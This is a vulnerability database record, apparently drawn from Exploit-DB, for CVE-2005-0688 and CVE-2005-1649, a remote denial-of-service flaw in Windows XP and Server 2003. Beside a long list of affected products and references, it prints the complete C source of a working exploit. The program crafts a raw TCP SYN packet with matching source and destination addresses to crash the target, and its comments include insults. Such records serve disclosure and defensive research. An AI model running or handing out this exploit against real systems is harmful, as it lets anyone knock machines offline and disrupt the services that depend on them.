ID

VAR-E-200503-0001


CVE

cve_id:CVE-2005-0688

Trust: 1.9

cve_id:CVE-2005-1649

Trust: 1.3

sources: BID: 13658 // EXPLOIT-DB: 861 // EDBNET: 25363

EDB ID

861


TITLE

Microsoft Windows XP/2003 - Remote Denial of Service - Windows dos Exploit

Trust: 0.6

sources: EXPLOIT-DB: 861

DESCRIPTION

Microsoft Windows XP/2003 - Remote Denial of Service. CVE-14578CVE-2005-1649CVE-2005-0688 . dos exploit for Windows platform

Trust: 0.6

sources: EXPLOIT-DB: 861

AFFECTED PRODUCTS

vendor:microsoftmodel:windows xp/2003scope: - version: -

Trust: 1.0

vendor:hpmodel:hp-uxscope:eqversion:10.10

Trust: 0.6

vendor:microsoftmodel:windows 2003/xpscope: - version: -

Trust: 0.6

vendor:sunmodel:sunosscope:eqversion:4.1.4

Trust: 0.3

vendor:sunmodel:sunos u1scope:eqversion:4.1.3

Trust: 0.3

vendor:scomodel:unixwarescope:eqversion:2.1

Trust: 0.3

vendor:scomodel:open serverscope:eqversion:5.0

Trust: 0.3

vendor:scomodel:open desktopscope:eqversion:3.0

Trust: 0.3

vendor:scomodel:cmw+scope:eqversion:3.0

Trust: 0.3

vendor:novellmodel:netwarescope:eqversion:4.1

Trust: 0.3

vendor:netbsdmodel:netbsdscope:eqversion:1.2.1

Trust: 0.3

vendor:netbsdmodel:netbsdscope:eqversion:1.2

Trust: 0.3

vendor:netbsdmodel:netbsdscope:eqversion:1.1

Trust: 0.3

vendor:netbsdmodel:netbsdscope:eqversion:1.0

Trust: 0.3

vendor:microsoftmodel:windows xp tablet pc edition sp2scope: - version: -

Trust: 0.3

vendor:microsoftmodel:windows xp tablet pc edition sp1scope: - version: -

Trust: 0.3

vendor:microsoftmodel:windows xp tablet pc editionscope: - version: -

Trust: 0.3

vendor:microsoftmodel:windows xp professional editionscope:eqversion:x64

Trust: 0.3

vendor:microsoftmodel:windows xp professional sp2scope: - version: -

Trust: 0.3

vendor:microsoftmodel:windows xp professional sp1scope: - version: -

Trust: 0.3

vendor:microsoftmodel:windows xp professionalscope: - version: -

Trust: 0.3

vendor:microsoftmodel:windows xp media center edition sp2scope: - version: -

Trust: 0.3

vendor:microsoftmodel:windows xp media center edition sp1scope: - version: -

Trust: 0.3

vendor:microsoftmodel:windows xp media center editionscope: - version: -

Trust: 0.3

vendor:microsoftmodel:windows xp home sp2scope: - version: -

Trust: 0.3

vendor:microsoftmodel:windows xp home sp1scope: - version: -

Trust: 0.3

vendor:microsoftmodel:windows xp homescope: - version: -

Trust: 0.3

vendor:microsoftmodel:windows xp goldscope:eqversion:0

Trust: 0.3

vendor:microsoftmodel:windows xp embedded sp1scope: - version: -

Trust: 0.3

vendor:microsoftmodel:windows xp embeddedscope: - version: -

Trust: 0.3

vendor:microsoftmodel:windows xp 64-bit edition version sp1scope:eqversion:2003

Trust: 0.3

vendor:microsoftmodel:windows xp 64-bit edition versionscope:eqversion:2003

Trust: 0.3

vendor:microsoftmodel:windows xp 64-bit edition sp1scope: - version: -

Trust: 0.3

vendor:microsoftmodel:windows xp 64-bit editionscope: - version: -

Trust: 0.3

vendor:microsoftmodel:windows xpscope:eqversion:0

Trust: 0.3

vendor:microsoftmodel:windows server web edition sp1 betascope:eqversion:20031

Trust: 0.3

vendor:microsoftmodel:windows server web edition sp1scope:eqversion:2003

Trust: 0.3

vendor:microsoftmodel:windows server web editionscope:eqversion:2003

Trust: 0.3

vendor:microsoftmodel:windows server standard editionscope:eqversion:2003x64

Trust: 0.3

vendor:microsoftmodel:windows server standard edition sp1 betascope:eqversion:20031

Trust: 0.3

vendor:microsoftmodel:windows server standard edition sp1scope:eqversion:2003

Trust: 0.3

vendor:microsoftmodel:windows server standard editionscope:eqversion:2003

Trust: 0.3

vendor:microsoftmodel:windows server enterprise editionscope:eqversion:2003x64

Trust: 0.3

vendor:microsoftmodel:windows server enterprise edition itanium sp1 betascope:eqversion:20031

Trust: 0.3

vendor:microsoftmodel:windows server enterprise edition itanium sp1scope:eqversion:2003

Trust: 0.3

vendor:microsoftmodel:windows server enterprise edition itaniumscope:eqversion:20030

Trust: 0.3

vendor:microsoftmodel:windows server enterprise edition sp1 betascope:eqversion:20031

Trust: 0.3

vendor:microsoftmodel:windows server enterprise edition sp1scope:eqversion:2003

Trust: 0.3

vendor:microsoftmodel:windows server enterprise editionscope:eqversion:2003

Trust: 0.3

vendor:microsoftmodel:windows server datacenter editionscope:eqversion:2003x64

Trust: 0.3

vendor:microsoftmodel:windows server datacenter edition itanium sp1 betascope:eqversion:20031

Trust: 0.3

vendor:microsoftmodel:windows server datacenter edition itanium sp1scope:eqversion:2003

Trust: 0.3

vendor:microsoftmodel:windows server datacenter edition itaniumscope:eqversion:20030

Trust: 0.3

vendor:microsoftmodel:windows server datacenter edition sp1 betascope:eqversion:20031

Trust: 0.3

vendor:microsoftmodel:windows server datacenter edition sp1scope:eqversion:2003

Trust: 0.3

vendor:microsoftmodel:windows server datacenter editionscope:eqversion:2003

Trust: 0.3

vendor:microsoftmodel:windows nt workstation sp3scope:eqversion:4.0

Trust: 0.3

vendor:microsoftmodel:windows nt workstation sp2scope:eqversion:4.0

Trust: 0.3

vendor:microsoftmodel:windows nt workstation sp1scope:eqversion:4.0

Trust: 0.3

vendor:microsoftmodel:windows nt workstationscope:eqversion:4.0

Trust: 0.3

vendor:microsoftmodel:windows nt terminal server sp3scope:eqversion:4.0

Trust: 0.3

vendor:microsoftmodel:windows nt terminal server sp2scope:eqversion:4.0

Trust: 0.3

vendor:microsoftmodel:windows nt terminal server sp1scope:eqversion:4.0

Trust: 0.3

vendor:microsoftmodel:windows nt terminal serverscope:eqversion:4.0

Trust: 0.3

vendor:microsoftmodel:windows nt server sp3scope:eqversion:4.0

Trust: 0.3

vendor:microsoftmodel:windows nt server sp2scope:eqversion:4.0

Trust: 0.3

vendor:microsoftmodel:windows nt server sp1scope:eqversion:4.0

Trust: 0.3

vendor:microsoftmodel:windows nt serverscope:eqversion:4.0

Trust: 0.3

vendor:microsoftmodel:windows nt enterprise server sp3scope:eqversion:4.0

Trust: 0.3

vendor:microsoftmodel:windows nt enterprise server sp2scope:eqversion:4.0

Trust: 0.3

vendor:microsoftmodel:windows nt enterprise server sp1scope:eqversion:4.0

Trust: 0.3

vendor:microsoftmodel:windows nt enterprise serverscope:eqversion:4.0

Trust: 0.3

vendor:microsoftmodel:windows ntscope:eqversion:3.5.1

Trust: 0.3

vendor:microsoftmodel:windowsscope:eqversion:95

Trust: 0.3

vendor:marconimodel:atm switchscope:eqversion:7.0.1

Trust: 0.3

vendor:marconimodel:atm switchscope:eqversion:6.1.1

Trust: 0.3

vendor:linuxmodel:kernelscope:eqversion:2.0.31

Trust: 0.3

vendor:linuxmodel:kernelscope:eqversion:2.0.30

Trust: 0.3

vendor:hpmodel:hp-uxscope:eqversion:10.24

Trust: 0.3

vendor:hpmodel:hp-uxscope:eqversion:11.0

Trust: 0.3

vendor:hpmodel:hp-uxscope:eqversion:10.30

Trust: 0.3

vendor:hpmodel:hp-uxscope:eqversion:10.20

Trust: 0.3

vendor:hpmodel:hp-uxscope:eqversion:10.16

Trust: 0.3

vendor:hpmodel:hp-uxscope:eqversion:10.01

Trust: 0.3

vendor:hpmodel:hp-uxscope:eqversion:10.0

Trust: 0.3

vendor:hpmodel:hp-uxscope:eqversion:9.0

Trust: 0.3

vendor:freebsdmodel:freebsdscope:eqversion:2.2.5

Trust: 0.3

vendor:freebsdmodel:freebsdscope:eqversion:2.2.4

Trust: 0.3

vendor:freebsdmodel:freebsdscope:eqversion:2.2.3

Trust: 0.3

vendor:freebsdmodel:freebsdscope:eqversion:2.2

Trust: 0.3

vendor:freebsdmodel:freebsdscope:eqversion:2.1.6.1

Trust: 0.3

vendor:freebsdmodel:freebsdscope:eqversion:2.1.6

Trust: 0.3

vendor:freebsdmodel:freebsdscope:eqversion:2.1.5

Trust: 0.3

vendor:freebsdmodel:freebsdscope:eqversion:2.1x

Trust: 0.3

vendor:freebsdmodel:freebsdscope:eqversion:2.1

Trust: 0.3

vendor:ciscomodel:ios/700scope:eqversion:1.0

Trust: 0.3

vendor:ciscomodel:iosscope:eqversion:11.2

Trust: 0.3

vendor:ciscomodel:iosscope:eqversion:11.1

Trust: 0.3

vendor:ciscomodel:iosscope:eqversion:11.0

Trust: 0.3

vendor:ciscomodel:iosscope:eqversion:10.3

Trust: 0.3

vendor:bsdimodel:bsd/osscope:eqversion:2.1

Trust: 0.3

vendor:bsdimodel:bsd/osscope:eqversion:2.0.1

Trust: 0.3

vendor:bsdimodel:bsd/osscope:eqversion:2.0

Trust: 0.3

vendor:bsdimodel:bsd/osscope:eqversion:1.1

Trust: 0.3

vendor:avayamodel:modular messagingscope:eqversion:3.0

Trust: 0.3

vendor:netbsdmodel:netbsdscope:neversion:1.3.2

Trust: 0.3

vendor:netbsdmodel:netbsdscope:neversion:1.3.1

Trust: 0.3

vendor:netbsdmodel:netbsdscope:neversion:1.3

Trust: 0.3

vendor:microsoftmodel:windows nt workstation sp4scope:neversion:4.0

Trust: 0.3

vendor:microsoftmodel:windows nt terminal server sp4scope:neversion:4.0

Trust: 0.3

vendor:microsoftmodel:windows nt server sp4scope:neversion:4.0

Trust: 0.3

vendor:microsoftmodel:windows nt enterprise server sp4scope:neversion:4.0

Trust: 0.3

vendor:linuxmodel:kernelscope:neversion:2.2.10

Trust: 0.3

vendor:linuxmodel:kernelscope:neversion:2.2

Trust: 0.3

vendor:linuxmodel:kernelscope:neversion:2.1.x

Trust: 0.3

vendor:linuxmodel:kernelscope:neversion:2.1

Trust: 0.3

vendor:linuxmodel:kernelscope:neversion:2.0.38

Trust: 0.3

vendor:linuxmodel:kernelscope:neversion:2.0.37

Trust: 0.3

vendor:linuxmodel:kernelscope:neversion:2.0.36

Trust: 0.3

vendor:linuxmodel:kernelscope:neversion:2.0.35

Trust: 0.3

vendor:linuxmodel:kernelscope:neversion:2.0.34

Trust: 0.3

vendor:linuxmodel:kernelscope:neversion:2.0.33

Trust: 0.3

vendor:linuxmodel:kernelscope:neversion:2.0.32

Trust: 0.3

vendor:freebsdmodel:freebsdscope:neversion:2.2.8

Trust: 0.3

vendor:freebsdmodel:freebsdscope:neversion:2.2.6

Trust: 0.3

vendor:freebsdmodel:freebsdscope:neversion:2.2.2

Trust: 0.3

vendor:freebsdmodel:freebsdscope:neversion:3.x

Trust: 0.3

vendor:ciscomodel:iosscope:neversion:11.2.10

Trust: 0.3

vendor:ciscomodel:ios pscope:neversion:11.2.9

Trust: 0.3

vendor:ciscomodel:ios f1scope:neversion:11.2.4

Trust: 0.3

vendor:ciscomodel:ios fscope:neversion:11.2.4

Trust: 0.3

vendor:ciscomodel:iosscope:neversion:11.2.4

Trust: 0.3

vendor:ciscomodel:ios iascope:neversion:11.1.15

Trust: 0.3

vendor:ciscomodel:ios cascope:neversion:11.1.15

Trust: 0.3

vendor:ciscomodel:ios aascope:neversion:11.1.15

Trust: 0.3

vendor:ciscomodel:iosscope:neversion:11.1.15

Trust: 0.3

vendor:ciscomodel:ios iascope:neversion:11.1.9

Trust: 0.3

vendor:ciscomodel:ios cascope:neversion:11.1.7

Trust: 0.3

vendor:ciscomodel:ios aascope:neversion:11.1.7

Trust: 0.3

vendor:ciscomodel:iosscope:neversion:11.1.7

Trust: 0.3

vendor:ciscomodel:ios btscope:neversion:11.0.17

Trust: 0.3

vendor:ciscomodel:iosscope:neversion:11.0.17

Trust: 0.3

vendor:ciscomodel:ios btscope:neversion:11.0.12

Trust: 0.3

vendor:ciscomodel:ios ascope:neversion:10.3.19

Trust: 0.3

vendor:ciscomodel:iosscope:neversion:10.3.16

Trust: 0.3

vendor:ciscomodel:catalyst supervisor softwarescope:neversion:29xx2.4.401

Trust: 0.3

vendor:ciscomodel:catalyst supervisor softwarescope:neversion:29xx2.1.1102

Trust: 0.3

vendor:bsdimodel:bsd/osscope:neversion:4.0.1

Trust: 0.3

vendor:bsdimodel:bsd/osscope:neversion:4.0

Trust: 0.3

vendor:bsdimodel:bsd/osscope:neversion:3.1

Trust: 0.3

vendor:bsdimodel:bsd/osscope:neversion:3.0

Trust: 0.3

sources: BID: 13658 // EXPLOIT-DB: 861 // EDBNET: 25363

EXPLOIT

/* Added Line #1 - BSD_SOURCE!!!! /str0ke */

#define _BSD_SOURCE

#include <stdio.h>
#include <ctype.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sysexits.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

/*
Windows Server 2003 and XP SP2 remote DoS exploit
Tested under OpenBSD 3.6 at WinXP SP 2
Vuln by Dejan Levaja <dejan_@_levaja.com> , http://security.nnov.ru/docs7998.html
(c)oded by __blf 2005 RusH Security Team , http://rst.void.ru
Gr33tz: zZz, Phoenix, MishaSt, Inck-vizitor
Fuck lamerz: Saint_I, nmalykh, Mr. Clumsy
All rights reserved.
*/

//checksum function by r0ach
u_short checksum (u_short *addr, int len)
{
u_short *w = addr;
int i = len;
int sum = 0;
u_short answer;
while (i > 0)
{
sum += *w++;
i-=2;
}
if (i == 1) sum += *(u_char *)w;
sum = (sum >> 16) + (sum & 0xffff);
sum = sum + (sum >> 16);
return (~sum);
}
int main(int argc, char ** argv)
{
struct in_addr src, dst;
struct sockaddr_in sin;
struct _pseudoheader {
struct in_addr source_addr;
struct in_addr destination_addr;
u_char zero;
u_char protocol;
u_short length;
} pseudoheader;
struct ip * iph;
struct tcphdr * tcph;
int mysock;
u_char * packet;
u_char * pseudopacket;
int on = 1;
if( argc != 3)
{
fprintf(stderr, "r57windos.c by __blf\n");
fprintf(stderr, "RusH Security Team\n");
fprintf(stderr, "Usage: %s <dest ip> <dest port>\n", argv[0]);
return EX_USAGE;
}
if ((packet = (char *)malloc(sizeof(struct ip) + sizeof(struct tcphdr))) == NULL)
{
perror("malloc()\n");
return EX_OSERR;
}
inet_aton(argv[1], &src);
inet_aton(argv[1], &dst);
iph = (struct ip *) packet;
iph->ip_v = IPVERSION;
iph->ip_hl = 5;
iph->ip_tos = 0;
iph->ip_len = ntohs(sizeof(struct ip) + sizeof(struct tcphdr));
iph->ip_off = htons(IP_DF);
iph->ip_ttl = 255;
iph->ip_p = IPPROTO_TCP;
iph->ip_sum = 0;
iph->ip_src = src;
iph->ip_dst = dst;
tcph = (struct tcphdr *)(packet +sizeof(struct ip));
tcph->th_sport = htons(atoi(argv[2]));
tcph->th_dport = htons(atoi(argv[2]));
tcph->th_seq = ntohl(rand());
tcph->th_ack = rand();
tcph->th_off = 5;
tcph->th_flags = TH_SYN; // setting up TCP SYN flag here
tcph->th_win = htons(512);
tcph->th_sum = 0;
tcph->th_urp = 0;
pseudoheader.source_addr = src;
pseudoheader.destination_addr = dst;
pseudoheader.zero = 0;
pseudoheader.protocol = IPPROTO_TCP;
pseudoheader.length = htons(sizeof(struct tcphdr));
if((pseudopacket = (char *)malloc(sizeof(pseudoheader)+sizeof(struct tcphdr))) == NULL)
{
perror("malloc()\n");
return EX_OSERR;
}
memcpy(pseudopacket, &pseudoheader, sizeof(pseudoheader));
memcpy(pseudopacket + sizeof(pseudoheader), packet + sizeof(struct ip), sizeof(struct tcphdr));
tcph->th_sum = checksum((u_short *)pseudopacket, sizeof(pseudoheader) + sizeof(struct tcphdr));
mysock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
if(!mysock)
{
perror("socket!\n");
return EX_OSERR;
}
if(setsockopt(mysock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
{
perror("setsockopt");
shutdown(mysock, 2);
return EX_OSERR;
}
sin.sin_family = PF_INET;
sin.sin_addr = dst;
sin.sin_port = htons(80);
if(sendto(mysock, packet, sizeof(struct ip) + sizeof(struct tcphdr), 0, (struct sockaddr *)&sin, sizeof(sin)) == -1)
{
perror("sendto()\n");
shutdown(mysock, 2);
return EX_OSERR;
}
printf("Packet sent. Remote machine should be down.\n");
shutdown(mysock, 2);
return EX_OK;
}

// milw0rm.com [2005-03-07]

Trust: 1.0

sources: EXPLOIT-DB: 861

EXPLOIT LANGUAGE

c

Trust: 0.6

sources: EXPLOIT-DB: 861

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 861

TYPE

Remote Denial of Service

Trust: 1.0

sources: EXPLOIT-DB: 861

CREDITS

RusH

Trust: 0.6

sources: EXPLOIT-DB: 861

EXTERNAL IDS

db:NVDid:CVE-2005-0688

Trust: 1.9

db:EXPLOIT-DBid:861

Trust: 1.6

db:NVDid:CVE-2005-1649

Trust: 1.3

db:EDBNETid:25363

Trust: 0.6

db:BIDid:13658

Trust: 0.3

sources: BID: 13658 // EXPLOIT-DB: 861 // EDBNET: 25363

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2005-0688

Trust: 1.6

url:https://nvd.nist.gov/vuln/detail/cve-2005-1649

Trust: 1.0

url:https://www.exploit-db.com/exploits/861/

Trust: 0.6

url:http://www.microsoft.com/technet/security/bulletin/ms05-019.mspx

Trust: 0.3

url:http://support.avaya.com/elmodocs2/security/asa-2006-217.htm

Trust: 0.3

url:http://support.microsoft.com/support/kb/articles/q165/0/05.asp

Trust: 0.3

url:http://www.cisco.com/warp/public/770/land-pub.shtml#iosvers

Trust: 0.3

url:http://www.microsoft.com/technet/security/bulletin/ms06-064.mspx

Trust: 0.3

url:http://support.novell.com/cgi-bin/search/tidfinder.cgi?2932511

Trust: 0.3

url:http://support.microsoft.com/support/kb/articles/q177/5/39.asp

Trust: 0.3

url:http://www.securityfocus.com/archive/1/392354

Trust: 0.3

sources: BID: 13658 // EXPLOIT-DB: 861 // EDBNET: 25363

SOURCES

db:BIDid:13658
db:EXPLOIT-DBid:861
db:EDBNETid:25363

LAST UPDATE DATE

2022-07-27T09:17:41.055000+00:00


SOURCES UPDATE DATE

db:BIDid:13658date:2016-07-06T14:40:00

SOURCES RELEASE DATE

db:BIDid:13658date:2005-05-17T00:00:00
db:EXPLOIT-DBid:861date:2005-03-07T00:00:00
db:EDBNETid:25363date:2005-03-07T00:00:00